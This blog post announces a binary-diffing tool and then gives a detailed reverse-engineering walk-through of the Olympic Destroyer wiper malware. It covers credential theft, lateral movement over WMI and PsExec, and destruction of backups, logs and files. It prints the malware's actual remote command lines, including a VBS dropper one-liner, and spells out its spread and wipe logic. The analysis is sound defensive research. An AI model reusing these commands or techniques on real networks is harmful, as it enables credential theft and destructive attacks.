One framework to build them all, one framework to name them, and in their IDBs to bind them

Authors: Luca Ebach, Tilman Frosch

Rejoice everyone, today we pushed bindifflib to our Github! Bindifflib is a framework to build a set of libraries with a set of different compilers, currently the compilers of Visual Studio 2010, 2013, 2015, and 2017 – both 32 bit and 64 bit. After compilation, bindifflib will import all DLLs into IDA Pro and will use the Program Database (PDB) files to properly name (almost) all functions in the IDB.

We have created bindifflib out of the need speed up our understanding of binary code dropped at our doorstep, mostly malware. Occasionally, we encounter larger binaries that smell of statically linked libraries. Figuring out which part of the binary is a library, which library specifically, and which part is actually relevant, often takes some time that could be spent better and is also not very exciting. Fortunately there is BinDiff! Having some functions already identified allows us to spend the time to understand the purpose of the code and the authors‘ intentions instead of first digging through the basic capabilities as provided by knowing that a certain library was used in general. So let‘s just create some targets to diff a unknown binary against, so that we can focus our reversing efforts on the non-generic parts of the binary. Having just one library compiled by one compiler didn’t really cut it, so it was time to automate things to have a selection of likely or frequently used libraries compiled with a set of popular compilers. Naturally, one could also replace „likely“ and „frequently“ by „vulnerable“ and head into a completely different direction that bindifflib can help with.

We consider the code more a proof of concept than a software product. Use at your own risk, we love feedback!

Find the code here: https://github.com/GDATAAdvancedAnalytics/bindifflib

Dissecting Olympic Destroyer – a walk-through

Introduction

After a destructive cyber attack had hit this year’s olympics, the malware was quickly dubbed Olympic Destroyer.  Talos were fast to provide initial coverage. A malware explicitly designed to sabotage the computer systems of the Olympic opening ceremony sounded very interesting, but other duties were more pressing at that time, so analysis for pure curiosity had to wait.  A few weeks later I had some free evenings on my hands and decided to combine a few interests of mine: Listening to music, consuming high quality whisky and analyzing malware – regrettably one of those things is frowned upon at work, and it’s not malware analysis. 😉

I had most of the binaries reversed and already written up a few pages, when Kaspersky released an article with some more details than previously publicly known. Having finished my work and focusing on the technical aspects of Olympic Destroyer, I think I can add several technical details about the malware. In the following expect plain and straight-forward binary analysis and reverse engineering in the form of a walk-through.

Olympic Destroyer comes in two types. The first one is a little bit simpler. It was discovered by Talos, who published it in their comprehensive blog post. One example of this type has the Sha256 of edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9.

The second type of the binary has, to the best of my knowledge, not yet been explicitly named, but it was implicitly analyzed by Kaspersky in their also very comprehensive blog post. One example has the Sha256 sum of e8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06.

In the following blog post I will mainly describe the first type of Olympic Destroyer. At the end I will discuss the main differences between the two types, which revolve around the usage or non-usage of the well-known tool PsExec.

The Orchestrator

In this part we will cover the innermost functionality of the Olympic Destroyer. As orientation point we will use the main() function, from where on we will cover the single function calls step by step. Luckily Olympic Destroyer runs single threaded – except for the spreading functionality – which makes it easier to follow the execution one call after another.

The analyzed orchestrator has a Sha256 of edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 and is 0x1C6800 (~1.7MB) in size. A lot of this size is made up of five resources, whose role will be explained later on. IDA detects 756 functions of which not even ten were automatically identified by IDA FLIRT in version 6.9, which made the analysis more time consuming. IDA version 6.95 seems to have a newer FLIRT database and a lot of functions are identified automatically, as I realized way too late.

Configuration – or not

The main() function is located at 0x004071E0. It creates a structure on the local stack, which I called “config” when starting to reverse the binary. Over the time I discovered that it is merely a state or a singleton data container – nonetheless I kept the name “config” for reasons of consistency. This structure is carried throughout many of the subsequent function calls, most of the time in the form of thiscalls in the ecx register. You can find the whole structure in the appendix section below.

It contains different type of data, like simple integers, which for example describe the bitness of the OS with either the value 32 or 64 by dynamically resolving and calling IsWow64Process. Yes, the author(s) actually use full integers instead of encoding this information in a simple bit ¯\_(ツ)_/¯.

1
Detecting the bitness of the system

More interesting are probably the different paths of files dropped to the filesystem during runtime, which are also stored in this structure. I will describe them when writing about the resources.

Additionally, we find some security related variables, like the security token information of the current user, which is gathered by calling GetTokenInformation(TokenUser) and comparing the result against “S-1-5-18” (Local System), “S-1-5-19” (NT Authority Local Service), and “S-1-5-20” (NT Authority Network Service).

Most important is probably the vector of objects, which contains domain names and domain credentials, that are used to spread laterally through the network. More about this later on when I will cover the lateral movement.

After the config structure is initialized in 0x00406390 by nulling its members, it is dynamically filled with its respective values in the subsequent call to 0x00406500, where most of the previously mentioned values and information is generated. From then on, the config is ready for use and most values are only read instead of written – except for the file paths, which are generated more or less randomly on the fly when used and of course the credential vector, which gets expanded a few calls later.

Magical Code Injections

With a call to 0x004066C0 Olympic Destroyer checks for the existence of two files, which it uses to mark and avoid multiple runs of itself:

  1. C:\<MD5(Computer Name)>
  2. %SystemDrive%\Users\Public\<MD5(Computer Name\User Name)>

If one of those files is found, the function which I called “selfDeleteInjectBinary” at 0x00405DD0 is executed. Most of this function is already described in Endgame’s blogpost at https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights, but somehow they either misinterpreted the feature, or missed the main point of the shellcode. I’m not sure what their intention was, but their blog post somehow does not say what the shellcode actually does ¯\_(ツ)_/¯.

Olympic Destroyer starts an invisible “notepad.exe” by using the flags CREATE_NO_WINDOW in dwCreationFlags as well as STARTF_USESHOWWINDOW in StartupInfo.dwFlags and SW_HIDE in StartupInfo.wShowWindow before calling CreateProcessW.

2
Starting an invisible Notepad

Then it injects two blocks of data/code into the running notepad by calling VirtualAllocEx and WriteProcessMemory. The first block contains addresses of APIs and the path to the current executable, the second one is a shellcode which uses the addresses of the first block. By calling CreateRemoteThread the execution of the shellcode within notepad is started.

After this injection, the main process exits by calling ExitProcess while the execution of the injected thread runs in the process space of notepad. But all the shellcode does, is a simple delayed self-deletion mechanism:
First it sleeps a configurable number of seconds. In our case it is five seconds. After that, the shellcode looks for the original path of Olympic Destroyer, which was passed by the first injected memory block by checking GetFileAttributesW != INVALID_FILE_ATTRIBUTES. Then it tries to open the file with CreateFileW, gets the file size by calling GetFileSize and then loops over the file size and calls WriteFile with always one zero byte until the whole file is overwritten with zeros. After closing the file handle, the file is finally deleted with DeleteFile and the shellcode calls ExitProcess to end its execution.

To sum it up: The code injection is simply a nulling and deletion mechanism to hide the traces of the main binary.

Setting the markers for self-deletion

The two files, which mark multiple runs of Olympic Destroyer, mentioned in the previous paragraph, are then created:

3
Create infection markers

Depending on the rights under which the binary is running, the markers in C:\ and %COMMON_DOCUMENTS% are created. From then on, a second run of Olympic Destroyer will wipe the original executable.

Stealing credentials

In the following call to 0x004065A0, we will dive into a very important feature of Olympic Destroyer: The stealing of credentials from the current system, which are later used for lateral movement.

Olympic Destroyer contains five resources of type “BIN”. All of those resources are encrypted with AES. The calculation of the key is hard coded in the binary and can be described as a trivial MD5 hash of the string “123”. This hash is then concatenated twice in order to reach a key length of 256 bits for the AES algorithm. The evaluation of whether those shenanigans of symmetric cryptography with a hard coded key makes sense is left as an exercise for the reader. 🙂

When stealing the credentials, at first the resource 101 is decrypted, written to a more or less randomly generated filename in %tmp%. “More or less” because the algorithm is based on calls to GetTickCount() with Sleeps in between the calls.

After writing the decrypted resource to disk, a proper random string is generated by calling CoCreateGuid. The GUID is then used as the name for a named pipe in the form \\.\pipe\, which is created by calling CreateNamedPipeW and then used as inter process communication mechanism with the process, which is then started from the file written to %tmp%.

Resource 101

When resource 101 is started, it also gets the name of the pipe to communicate with its parent process as well as the password “123” as arguments. The main task of resource 101 is to use the password to decrypt and execute another resource of type “BMP” embedded in the file of resource 101 and send a buffer with stolen credentials to its parent process. So, it’s a simple loader which transfers a buffer via IPC.

The BMP resource is a DLL called “BrowserPwd.dll”. This DLL is not written to disk but parsed and loaded in memory. It seems that its only purpose is to steal credentials from the browsers Internet Explorer, Firefox and Chrome. In order to work with Firefox and Chrome, an SQLite library is compiled into the DLL, which makes up most of the DLL’s code.

  • For Internet Explorer it uses COM to iterate over the browsers history and then reads all autocomplete passwords from the registry in Software\Microsoft\Internet Explorer\IntelliForms\Storage2 and decrypts them using the WinAPI CryptUnprotectData.
  • For Firefox, the credentials are stolen from sqlite and logins.json. The nss3.dll from Firefox is used to decrypt the protected passwords.
  • For Chrome, the user’s database in […]\Application Data\Google\Chrome\User Data\Default\Login Data is copied temporarily and then the credentials are read and decrypted by calling the WinAPI CryptUnprotectData.

All stolen credentials are returned in a buffer which uses a special style of separating the single items. This buffer is constructed within the DLL and returned to its original loader, which is resource 101:

4
Stolen credentials are formatted in a certain way

This buffer is then sent from the loader via the named pipe to its parent process:

5
The loader of resource 101 uses the names pipe to transfer the buffer with the stolen credentials

Resource 102 and 103

After resource 101 was executed, a second attempt to steal credentials is started, in case the current process could acquire debug privileges during initialization of the config object. In case it has those right, depending on the architecture of the operating system, either resource 102 (x86) or 103 (x64) is started. Both executables have the same logic as resource 101 – decrypt and load a DLL in memory, execute the DLL and return its buffer via IPC –  only the payload in form of their internal DLL, the resource of type “BMP”, is different. Everything else stays the same.

So, the question is, what are the DLLs in the resources of resource 102 and 103? For 103, the x64 version, I did not look into it in order to save some time, but I assume it’s the very same payload as in 102, only for x64 systems. For 102, which is an x86 binary, the loaded internal DLL seems to be a custom version of the well-known penetration testing tool Mimikatz, which, besides other nifty features, can dump credentials from a Windows system. I did not spend too much time in the analysis of this DLL, but a swift look (as in “1-2 hours”), compared with several matching functions, structures and strings from the original code of Mimikatz are strong indicators that this DLL has actually Mimikatz’ credential dumping capability. This assumption was also verified by dynamic analysis, where the binary was actually stealing the credentials of my analysis machine. Additionally, the author(s) of Olympic Destroyer named this DLL “kiwi86.dll”, which is a reference to the nickname “gentilkiwi”, who is the author of Mimikatz.

After receiving the stolen credentials via the named pipes, Olympic Destroyer parses the received buffers and saves the credentials in its config structure. Then it returns its control flow to the main function.

Saving the Credentials – Or how to build a network worm

Back in the main function, right after stealing credentials from browsers and by the power of Mimikatz, Olympic Destroyer creates a copy of itself in the %tmp% folder in 0x00404040. If this copy succeeds, the copied file is modified in the next function call to  0x00401FB0. Here the whole file is read into a buffer in the process’ memory. Then this buffer is searched for the byte marker 9E EC 87 D4 89 16 42 09 55 E2 74 E4 79 0B 42 4C. Those bytes mark the beginning of the serialized credentials vector as an array:

6
Hex dump of Olympic Destroyer

I tried to mark the single elements of the array in different colors to describe them, but it turns out my MS Paint skills are really bad. So, you’ll just get a two pseudo structs defining what you can see around the red marked bytes:

struct credentials
{
byte marker[16];
WORD numberOfElements;
CREDENTIAL credentialArray[numberOfElements];
};
struct CREDENTIAL
{
WORD lengthOfUsername;
WORD lengthOfPassword;
char userName[lengthOfUsername];
char password[lengthOfPassword];
}

In our case there are 0x2C stolen credentials. The first block of credentials has a username\domain string of 0x1B bytes length and has a password of 0x0C bytes length. Then the second block of credentials follows, and so on.

Once Olympic Destroyer has located the array in its buffer, the array is written over with the serialized version of the current credentials vector of the config object. Then the executable modified in memory is written back to disk in the %tmp% directory.

In other words: The list of credentials, which was present when Olympic Destroyer was executed first, is now updated with all credentials stolen during runtime.

Resource 104 and 105 – Preparing the next steps

After updating a copy of itself with all stolen credentials, the execution flow returns to the main function where two consecutive calls to 0x00403F30 prepare the network spreading algorithm and the destructive parts. Both calls take a resource name as a first parameter for input and return a string with a path to a file. In this function Olympic Destroyer takes the same decryption algorithm as previously described and decrypts the resources 104 and 105. Both files are not yet executed but written to disk with a random filename in the %tmp% folder.

Resource 104 is a simple copy of the well-known tool “PsExec” which can be used to execute commands and files on remote computers. It will come into play when I describe the lateral movement.

Resource 105 though is the actual “Destroyer” of Olympic Destroyer.

Starting the Destroyer – Fulfilling the real purpose

After writing resource 104 and 105 to %tmp%, the function at 0x00404220 is called with the path to resource 105 as an argument. Here nothing magical happens. The file from the resource is simply executed without a visible window/console and the function returns:

7
Starting an invisible process

From here on the destroyer from resource 105 is running. It has its own chapter later on.

Lateral Movement

Once the destroyer part of Olympic Destroyer has been started in its own process, the main function calls 0x00406ED0 to start the network spreading routine.

At first two sanity checks are made by calling GetFileAttributesA in order to ensure that PsExec from resource 104 and the copy of Olympic Destroyer with the updated credentials list in the %tmp% folder exist. If both checks pass, a list of potential targets within the local network is built:
With a call to 0x00406DD0 Olympic Destroyer utilizes the GetIpNetTable API to enumerate all IPv4 addresses of the current ARP cache, thus getting all IP addresses the local machine had access to – considering ARP cache timeouts which can remove older entries, of course.

The list of IPv4 addresses is then passed to the function at 0x004054E0, along with a pointer to the config object as well as the path to PsExec and the updated copy of Olympic Destroyer in the %tmp% folder. I think it is noteworthy that passing both paths to the files in %tmp% is completely superfluous, since they are already a part of the config object, which is also passed as argument.

The function at 0x004054E0 is the heart of the spreading algorithm:
First, it reads the updated copy of Olympic Destroyer into memory. Then it initializes a new structure with all information passed as arguments as well as some additional information, which is somehow not really used later on. After that it calls 0x00407680, where the spreading in the network begins:
For each IP address, a new thread is spawned, which starts at 0x00407D40. This thread then loops over all credentials of the config object, trying to use WMI via COM objects in order to infect remote computers:

8
Remote command execution

The first important function for that is at 0x004045D0 (called executeRemoteCmdline), which gets one IP and one pair of credentials as input, as well as one command line to execute on the target machine – outPtr is used to transport the return value. The whole function is a mess of COM calls, but I’ll try to explain their meaning anyways. Words in italic are quotes from the binary:
This function creates a COM object of CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24} in order to remotely execute WMI commands. Then a connection to \\\root\CIMV2 is created and the credentials are applied by calling CoSetProxyBlanket. With the class Win32_Process and the function Create a Commandline is executed on the remote computer. With “Select * From Win32_ProcessStopTrace” the event for the termination of the remote process is registered in order to read its ExitStatus code afterwards.
The executed command line is rather simple:

“cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt (exit 5) else ( type nul > %programdata%\\evtchk.txt)”

With the execution of ping a short delay is introduced, since the execution waits for ping to fail four times to ping the address 0.0.0.0. Then, in case the file %programdata%\evtchk.txt exists on the target system, the execution returns the exit code five. Otherwise said file is created and the execution finishes with its standard error code of zero.

The return value of the remote command line is then read and is returned via outPtr as a function argument from 0x004045D0. Interestingly the outPtr is only written to in case of a successful remote execution. All error cases leave the outPtr untouched. As the memory address of the target of outPtr is initialized with zeros, the caller of 0x004045D0 is unable to distinguish between an error during the remote code execution (e.g. because of false credentials or an unavailable IP) and the successful write of %programdata%\evtchk.txt file on the remote machine. ¯\_(ツ)_/¯

At 0x00404C30 the second interesting function (called writeFileToRemoteRegistryAndExecuteCommandlineVbs) is located. It takes the target IP address as well as the credentials as input. It is very similar to the function 0x004045D0 described previously. The main difference is that by using the StdRegProv class and the function SetBinaryValue a registry key in HKEY_CURRENT_USER\Environment with the name Data is created on the remote computer. The value of the registry key an executable file, but interestingly it is not the copy of Olympic Destroyer with the updated credential list in %tmp%, as I would have expected, but it is the binary which is currently executed and thus does not contain any of the current system’s credentials:

9
The remote spreading algorithm spreads the wrong binary

After the binary is written to the remote registry, the function at 0x00404C30 calls the function at 0x004044B0. Here the function Create of the COM class Win32_Process is used to remotely execute another command line. This command line is already known from the Talos blog post. For readability I pretty-printed the commands:

cmd.exe /c
(
echo strPath = Wscript.ScriptFullName
& echo.Set FSO = CreateObject^(\”Scripting.FileSystemObject\”^)
& echo.FSO.DeleteFile strPath, 1
& echo.Set oReg = GetObject^(\”winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\”^)
& echo.oReg.GetBinaryValue ^&H80000001, \”Environment\”, \”Data\”, arrBytes
& echo.Set writer = FSO.OpenTextFile^(\”%ProgramData%\\%COMPUTERNAME%.exe\”, 2, True^)
& echo.For i = LBound^(arrBytes^) to UBound^(arrBytes^)
& echo.s = s ^& Chr^(arrBytes^(i^)^)
& echo.Next
& echo.writer.write s
& echo.writer.close
) > %ProgramData%\\_wfrcmd.vbs && cscript.exe %ProgramData%\\_wfrcmd.vbs && %ProgramData%\\%COMPUTERNAME%.exe

The first set of echos outputs parts of a VB script, which are then written to %ProgramData%\_wfrcmd.vbs by using the redirect operator “>”. Afterwards this file is executed via the cscript interpreter before the executable %ProgramData%\%COMPUTERNAME%.exe is executed. This executable is created during the runtime of the newly created VB script, which basically just reads the executable stored in HKEY_CURRENT_USER\Environment\Data and writes it to %ProgramData%\%COMPUTERNAME%.exe.

Back in 0x00405170, the function at 0x004045D0 (executeRemoteCmdline) is called a second time. This time it removes the file %programdata%\evtchk.txt, which was previously checked or created on the remote computer by executing the command line “del %programdata%\evtchk.txt”.

To state the obvious, in case it got lost in all the text: %programdata%\evtchk.txt is intended as a mutex object on the remote computer, which marks that a remote infection is currently ongoing. This avoids that two computers running Olympic Destroyer’s infection routine infect the same target at the very same time. Yet, as this file is deleted right after the infection, it does not avoid multiple infections of the same target in general, but only in parallel.

While all previously mentioned remote infection threads are running, the main thread waits for their termination by calling WaitForMultipleObjects, where it waits for all spawned threads to finish.

Once all threads are finished and back in the function 0x00406ED0, the control flow enters a loop, which iterates over all credentials and passes them to the function at 0x00406780. This function also has the purpose of enumerating network targets. Once again COM objects are involved:
One main part of this function is the call to NetGetDCName, which gets the name of the primary domain controller. This name is formatted into the string “%s\\root\\directory\\LDAP” in order to use it with the same COM objects as before during the remote code execution (CLSID {4590F811-1D3A-11D0-891F-00AA004B2E24} and IID {dc12a687-737f-11cf-884d-00aa004b2e24}) by using the credentials, which are passed as function arguments. If everything works so far, the statement “SELECT ds_cn FROM ds_computer” is executed in order to get all computer names from the current domain. Then, for each computer, by calling GetAddrInfoW and ntohl the domain names are resolved to IPs. A vector of IPs is returned from 0x00406780. The IPs are then passed to the already known function at 0x004054E0 in order to infect those computers remotely.

When this IP enumeration and remote infection loop is finished, some objects and memory is cleaned up before the control flow returns back to the main function.

Self-Deletion – Or how to hide your traces, well, at least one of the many…

The last step in the main function, before freeing the remaining objects and memory, is the call to the already described function “selfDeleteInjectBinary” at 0x00405DD0. This time the sleep interval is only three instead of five seconds. So the spawned process tries to wipe the binary of the parent process every three seconds until it succeeds. The control flow of Olympic Destroyer then leaves the main function and the process exits, which will make the wiping of the binary possible.

I think it is noteworthy that none of the other dropped files are deleted. Everything in %tmp% remains and also all infection markers described previously are still there.

The Destroyer

A big part of this component’s functionality can be described in one picture by looking at the main function:

10
Destroyer main function

After giving itself the SeShutdownPrivilege and bluntly ignoring all potential erroneous API calls, the Destroyer calls the function at 0x00401000 (“execProcAndWaitForTerminate”) five times in a row in order to:

  1. Delete all shadow copies without prompt to avoid restoring the system
  2. Silently delete all backups created by the tool wbadmin
  3. Ignore all failures during boot and avoid starting the recovery mode
  4. Clear system logs
  5. Clear security logs

Then the function at 0x004012E8 (“deactivateAllActiveServices”) is called. The name in the screenshot is already a spoiler of the actual functionality: All services of the local computer are disabled. This is done by iterating over all possible types of services by calling EnumServicesStatusW with the dwServiceType parameter set to 0x13F and dwServiceState to SERVICE_STATE_ALL, and then calling ChangeServiceConfigW(SERVICE_DISABLED) for each service.
In combination with the previously disabled recovery mode and deleted backups, this bricks the local system on the next boot.

Back in the main function a thread is spawned which executes the function 0x004016BF (“wiperThread”). The main thread then sleeps for a fixed single hour before shutting down the system – no matter what the wiper thread did or didn’t do in the meantime. Note that this might also interrupt the spreading routine of Olympic Destroyer, which might still run.

The first thing the wiper thread does is setting its own thread priority to THREAD_PRIORITY_TIME_CRITICAL in order to get as much CPU cycles as possible. Then it recursively iterates over all available network resources with the APIs WNetOpenEnumW and WNetEnumResourceW. Each available resource is temporarily mounted by calling WNetAddConnection2W(CONNECT_TEMPORARY), yet the parameters for the username and password are set to zero, thus the current user’s credentials are used. It is important to note that the stolen credentials are not used here. This decouples the Destroyer logically from its parent process.
For each successfully mounted resource the function at 0x00401441 is called.
This function is also best described with a screenshot:

11
Remote wiping functionality

This function simply iterates recursively over all folders, starting at the mountpoint which is provided as an argument, and then destroys each single file that it finds:

  1. Files equal or smaller to 1MB in size are completely written over with zeros
  2. For files bigger than 1MB only the first 4096 bytes are nulled. Yet for most files this should be enough to render them useless

The wiper thread does not communicate with the main thread and there is no synchronization in any way. No matter if the wiping already finished or not, the system is shut down after one hour.
It might be a simple mistake to shut the system down after a fixed time: The wiping may not have wiped everything it can reach, or it could have already finished and the local computer is still useable until the shutdown. Additionally the remote spreading could still be ongoing.

Yet, I think it is more likely that this feature is a well-planned and sophisticated time bomb: Imagine Olympic Destroyer spreading through a network, wiping all it could wipe for one hour, when suddenly one system after another shuts down and is unable to boot.

Different types of Olympic Destroyer

As mentioned in the introduction, I found two different types of Olympic Destroyer. The simpler type was described previously. The second type has the very same functionality, it only adds a few more functions. Those additional functions have the purpose of extending the spreading functionality of Olympic Destroyer by leveraging PsExec, which was written to %tmp% but then ignored by the simpler version.

Using PsExec

The additional function call is placed right after writing/checking the file %programdata%\evtchk.txt and before the spreading function which uses COM objects and spreads the version of Olympic Destroyer which was not updated with the stolen credentials. This bugged behavior of spreading the wrong binary over COM exists in both versions.

The additional call to PsExec is done in the following way:

12
Format string for calling PsExec

PsExec is started with several parameters:

  • The first three parameter identify the target computer and the credentials which are applied
  • Then the dialogue to confirm the EULA of PsExec is skipped with “accepteula”
  • “-d” runs PsExec in a non-interactive way, which means that the caller does not wait for PsExec to terminate
  • With “-s” the remote process is started with System rights (in case the credentials allow that)
  • “-c” and “-f” specify that the actually executed file is copied to the target computer and overwritten in case it already exists
  • The last parameter is the remotely executed file, which is obviously Olympic Destroyer

This time the remotely executed binary is the copy of Olympic Destroyer in %tmp%, which was updated with the credentials stolen during the current run.

The output buffer returned from PsExec is parsed for the string “started”, which indicates to Olympic Destroyer that its call was successful. A successful remote infection using PsExec breaks the loop which iterates over the credentials for a fixed target computer. Thus the target is only infected once and the bugged COM infection is avoided.

A crippled worm and a capable worm

The simple version of Olympic Destroyer has some spreading functionality, although it is broken in the sense that the wrong binary is spread through the network. By not spreading the updated version of Olympic Destroyer, which contains the credentials stolen during the run, it loses a crucial part of its spreading capability:

Assume we have a computer “A” with a logged in user who has the rights which allow remote spreading of Olympic Destroyer. And a computer “B”, which is in reach of A, but where no user is logged in. A third computer “C” is only reachable over B but not over A.
If the simple version of Olympic Destroyer is executed on computer A, it will use the stolen credentials to infect computer B. But on computer B there are no credentials to steal, so it won’t be able to infect computer C.

In other words: The simple version of Olympic Destroyer can only spread to computers which are “one hop” in distance.
Yet, in most cases this should still be enough to infect a whole network, since a central Domain Controller is usually connected to most computers in the network.

Spreading the more advanced version including the stolen credentials gives Olympic Destroyer even better worming capabilities, since it gathers more and more credentials as it spreads further and further through a network.
In the previous example computer C could be infected from computer B by using the credentials stolen on computer A.

Crunching some numbers

In order to verify my findings with the two versions of Olympic Destroyer, I grabbed 36 different samples which are identified as Olympic Destroyer and compared their sets of stolen credentials. One sample had and empty list of credentials, so I discarded it.

It turns out that 23 of those samples are from the simple version type. All of them contained the same set of credentials, which were already described by Talos. They are for the domains g18.internal and Pyeongchang2018.com. All of the samples contained additional credentials stolen from various sandbox systems and virtual machines of researchers, who probably uploaded the files from the %tmp% folder to Virus Total during their analysis.

I could not find a single sample which contained only a subset of the credentials stolen from the g18.internal and Pyeongchang2018.com domains. If you strip the credentials from sandboxes and researchers, all 23 samples contain the same set of crendetials. This supports the findings that the simple version of Olympic Destroyer has a broken spreading algorithm.

In contrast to that, 12 samples of the total 36 are from the ATOS network with the domain ww930, as partially described by Kaspersky. Apparently the more capable version of Olympic Destroyer was spreading here, thus the differences in the list of credentials is bigger. The first pair of credentials in this set can be found in all 12 samples. But the rest of the credentials is a mix stolen from different computers in the same network. We can see that the worm took different paths when spreading though the network, acquiring the credentials of at least five different computers.

After removing the credentials from researchers and sandboxes, we are left with five unique sets of credentials. If one subset of credentials is one letter, the sets can be described as A, AB, AC, AD and ADE. This shows that the more capable version of Olympic Destroyer actually inherits its list of stolen credentials to the infected systems.
The samples in question are:

1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a
25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c
6d7d35b4ce45fae4a048f7e371f23d1edc4c3b6998ab49febfd7d33f13b030a5
9085926d0beacc97f65c86c207fa31183c5373e9a26fb0678fbcd26ab65d6e64
90c956e8983116359662f8b82ae156b378d3fae02c07a18827b4c65f0b5fe9ef

It is likely that there are more samples out there which give a better picture of the way Olympic Destroyer wormed itself through the ATOS network.

PE timestamps

As the blog article of Kasperky has already shown, the author(s) of Olympic Destroyer had quite the fun in planting false flags. So, the compilation time stamps of the PE files should be taken with a grain of salt, as they can be easily forged.
Nonetheless they provide an interesting picture.

Simple version of Olympic Destroyer, PE time stamps ordered ascending:

Name Compilation Time Stamp Description
Resource 104 2016-06-28 18:43:09 Copy of PsExec
Resource 105 2017-12-27 09:03:48 Destroyer
DLL in Resource 101 2017-12-27 11:44:17 Browser Password Stealer
DLL in Resource 102 2017-12-27 11:44:21 Windows Account Password Stealer
Resource 101 2017-12-27 11:44:30 Loader for internal DLL
Resource 103 2017-12-27 11:44:35 Loader for internal x64 DLL
Resource 102 2017-12-27 11:44:40 Loader for internal DLL
Main binary 2017-12-27 11:44:47 Olympic Destroyer

(Note that I did not extract the time stamp for the DLL in the resource of resource 103)

The PE time stamps of the more complex version in ascending order:

Name Compilation Time Stamp Description
Resource 104 2016-06-28 18:43:09 Copy of PsExec
Resource 105 2017-12-27 09:03:48 Destroyer
DLL in Resource 101 2017-12-27 11:38:53 Browser Password Stealer
DLL in Resource 102 2017-12-27 11:38:58 Windows Account Password Stealer
Resource 101 2017-12-27 11:39:06 Loader for internal DLL
Resource 103 2017-12-27 11:39:11 Loader for internal x64 DLL
Resource 102 2017-12-27 11:39:17 Loader for internal DLL
Main binary 2017-12-27 11:39:22 Olympic Destroyer

Some of those values actually make sense, although they might have been crafted in order to do so. The DLLs which are resources of resource 101 and 102 have to be compiled before they can be embedded as resources, so their time stamps come first. The same goes for all resource which are embedded in them main binary of Olympic Destroyer.
PsExec in resource 104 is the original copy of PsExec, thus has the original time stamp.
A time difference of four to nine seconds for each binary sounds realistic, given only a few dependencies on external libraries. Unfortunately, the compilation with the biggest external dependencies, the DLL in resource 101 where SQLite is used, seems to be the first binary in the build chain. This is where I would have expected to see the biggest gaps in between the time stamps. But as it is the start of the build chain, we cannot compare it to any binary built before it.
By looking at the gaps, we can also see that everything except the destroyer part seem to be compiled in one block.
Also the more complex version of Olympic Destroyer seems to be compiled five minutes before the simpler version. Most probably the attacker(s) just compiled the first set of Olympic Destroyer, before commenting out the one function using PsExec (implicitly removing all the used sub-functions), and then recompiled the whole set.

It is noteworthy to point out that both versions of Olympic Destroyer use the very same copy of the destroyer component. Not only the compilation time stamps are the same, but also their hash sums.

 

Summary

This article has shown the innermost working of the malware called Olympic Destroyer. We have seen that by pure reverse engineering of the malware samples, a plethora of information can be obtained and deduced.

The analysis indicates that Olympic Destroyer consists of two completely independent parts: The first one is a framework for network spreading using resource 101 to 104 in order to spread as fast and as far as possible in the local network. The second one is the destructive component. Both parts work completely independent from each other. Resource 101 to 103 have a strong logical dependency on the main binary by receiving the decryption key as well as the name of the named pipe as arguments. And the main binary depends on the information returned from the resources 101 to 103 formatted in a certain way. In contrast to that, the destroyer in resource 105 is only dropped and executed in a fire and forget manor. No arguments, return values or status codes are exchanged.
So I think it is correct to state that everything except the destroyer is merely a vehicle in form of a spreading framework to deliver a payload. And the delivered payload is the destroyer. In theory every other payload could be delivered by simply exchanging the resource 105.

We have also seen that Olympic Destroyer comes in two different versions, which have been spread in two different networks. The spreading algorithm differs in the way that credentials stolen on one system are not carried on to the next infected system in one version.
It is unknown to me why the differences exist. Reading the Kasperky article indicates that the attackers already had a strong foothold in the g18.internal and Pyeongchang2018.com network. So it might have been enough to spread only one hop from the initial infected machine.  This decision could also be influenced by the defensive mechanisms employed at the targeted network. A proper network monitoring tool should mark the execution of PsExec as red flag, which might have been the reason to remove this part of the spreading algorithm.
The analysis of stolen credentials in the network of ATOS indicates that the attackers had a weaker foothold in the network, since, juding by the samples I looked at, only two sets of credentials were stolen on the initial infection (compared to 44 in the simpler variant). All other credentials were added during the spreading in the network. This weak foothold might have been the cause to go with a more aggressive spreading algorithm.

Appendix

Config structure as used in Olympic Destroyer:

struct config
{
DWORD credentialsVectorStart;
DWORD credentialsVectorEnd;
DWORD credentialsVectorMaxSize;
CRITICAL_SECTION critSect;
WSADATA wsadata;
char ressourceHpath[1024];
char randomTempPath[1024];
char ressourceIpath[1024];
char selfModulePath[1024];
char domainName[256];
char accountName[256];
char domainAndAccountName[256];
char v13[256];
DWORD bitness;
DWORD bVersionGreaterEqualVista;
DWORD bVersionSmallerEqualXP;
DWORD bHasSelfDebugPrivs;
DWORD bIsServiceOrAdmin;
DWORD bIsUserAccount;
};

Hashes used for analysis:

edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9
01e640a91d32230cd3f45e1594177393415585dbeba9ddbd31be2139935058d3
137148fe8223bc88661ac941ea1a648ad0fb6e49c359acd06781abd0a0493c01
1942f14326f8ffa3afc83946ba9ec06abe983a211939f0e58362f85dd2a6b96a
2239d109d7c01682c99a721d654643b7d8f4431887ecad6fb2d043dbdacfe226
25089ec24167f3caa413a9e1965c7dfc661219f45305187070a1e360b03f869c
254fbeb13f8d2dc36de3a3ffca653608d1b3420a20a20248d330500785b3945c
2bcbb1c165a6e31e085306224de3410249df50742ca3af069d58c7fd75d2d8c4
2bf9f3703b48bf1578a43479444107b33ff6ecea108b364fc73913a639c511d4
2c28f3b297a990b9d7a7163bac57ab68228c66109bb7a593702e556cdd455cce
3131a8208dc7441bf26592d7fed2ba5d9f9994e21d9b8396b4d2cda76a8a44d7
36a65a47cc464aac45a5d27372ea3b3584726d354f0792b9a77bfbe0cd0558bd
41a6d6f1dca75abc924960ee701b0df0e7adc8b7501ac4e2c00743d7266df7d3
5181fe760f456719b0ec505370df0b38055a5a3b202e1d50948fc92383a61c18
569fbe4f66fa09fb375fb87915da79dbafb1ef62d9a20849d1beea4eadb8e805
